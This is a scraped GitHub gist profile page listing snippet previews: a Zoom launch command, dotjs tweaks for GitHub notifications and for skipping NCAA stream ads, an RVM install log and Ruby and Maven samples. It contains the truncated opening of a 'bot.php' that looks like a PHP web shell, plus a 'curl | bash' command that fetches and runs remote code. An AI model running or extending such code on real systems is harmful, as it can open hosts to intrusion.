Skip to content

Instantly share code, notes, and snippets.

💭
Independent contracting and consulting, starting August, 2019

Rick Bradley rick

💭
Independent contracting and consulting, starting August, 2019
Block or report user

Report or block rick

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@rick
rick / zoom-by-command-line.txt
Created Oct 3, 2019
run a zoom meeting straight from the command-line given a meeting ID number (bypass chrome, etc.)
View zoom-by-command-line.txt
/Applications/zoom.us.app/Contents/MacOS/zoom.us "package.name=zoomusInstallerFull.pkg&package.version=latest&package.size=15216k&downloadRoot=https://launcher.zoom.us/client&action=join&browser=chrome&confid=dXc7amUaTB6L4MoR1f4SKQ%3D%3D&confno=8948405401&zc=0&mcv=0.92.11227.0929&pk=e30&sta=false"
set `confid` to your room meeting
@rick
rick / checkychecky.md
Created Nov 21, 2016
test markdown checkboxes
View checkychecky.md
  • this is a checklist
    • or is it a task list?
  • click this
  • test this
@rick
rick / github.com.js
Created Sep 19, 2013
dotjs file to mute unread github notifications on a repo
View github.com.js
$("button.mark-all-as-read").parent().prepend('<button class="box-action mute-all-unread css-truncate tooltipped upwards" original-title="mute all unread notifications"> <span class="octicon octicon-mute"></span> </button>');
$('button.mute-all-unread').click(function(event) {
// mute all unread notifications
$(this).parent().parent().parent().find('li.unread').find('.js-mute-notification button').click();
return false;
});
View bot.php
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
@rick
rick / ncaa.com.js
Created Mar 24, 2013
Make it possible to skip NCAA ads in March Madness live stream. Run this with dotjs and, when the main flash app with the game schedule comes on, click the '75th anniversary' icon at the bottom of the page, then proceed to your game. Should let you use video controls again (usually disabled when ads are on).
View ncaa.com.js
$("#footer span.footerText a").first().click(function(){
event.preventDefault();
orig = $('#mainApp object param[name="flashvars"]').attr('value');
replacement = orig.replace('superduperdevtime=false', 'superduperdevtime=true');
$('#mainApp object param[name="flashvars"]').attr('value', replacement);
});
@rick
rick / intra-seeds.txt
Created Mar 19, 2013
Intra-seed rankings - March Madness 2013
View intra-seeds.txt
- seed rankings
1
louisville
indiana
kansas
gonzaga
@rick
rick / rvm-jruby-1.7.13.txt
Last active Nov 9, 2015
ubuntu installation of jruby 1.7.13 via latest RVM
View rvm-jruby-1.7.13.txt
Last login: Tue Nov 3 09:00:18 2015 from c-68-53-142-130.hsd1.tn.comcast.net
Mon Nov 09 13:47:23 gampopa ~
# ▸ curl -sSL https://get.rvm.io | bash -s stable --ruby=jruby
Downloading https://github.com/rvm/rvm/archive/1.26.11.tar.gz
Downloading https://github.com/rvm/rvm/releases/download/1.26.11/1.26.11.tar.gz.asc
gpg: keyring `/root/.gnupg/pubring.gpg' created
gpg: Signature made Mon 30 Mar 2015 05:52:13 PM EDT using RSA key ID BF04FF17
gpg: requesting key BF04FF17 from hkp server keys.gnupg.net
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key D39DC0E3: public key "Michal Papis (RVM signing) <mpapis@gmail.com>" imported
@rick
rick / foo.rb
Created Oct 17, 2012
sample of how instance variables and accessors behave
View foo.rb
~ (master)(*)$ irb
>>
>> class Foo
>> attr_accessor :read_write
>> attr_reader :readonly
>> attr_writer :writeable
>>
?> def initialize(read_write, readonly, writeable)
>> @read_write = read_write
>> @readonly = readonly
@rick
rick / public.rb
Created Sep 12, 2012
public gist
View public.rb
#!/usr/bin/env ruby
echo "public"
raise "private"
@rick
rick / gist:3667503
Created Sep 7, 2012 — forked from mgencur/gist:3666350
just testing forking of public gists. ignore me :-)
View gist:3667503
dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.8.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.weld.servlet</groupId>
<artifactId>weld-servlet-core</artifactId>
<version>1.1.8.Final</version>
<scope>compile</scope>
You can’t perform that action at this time.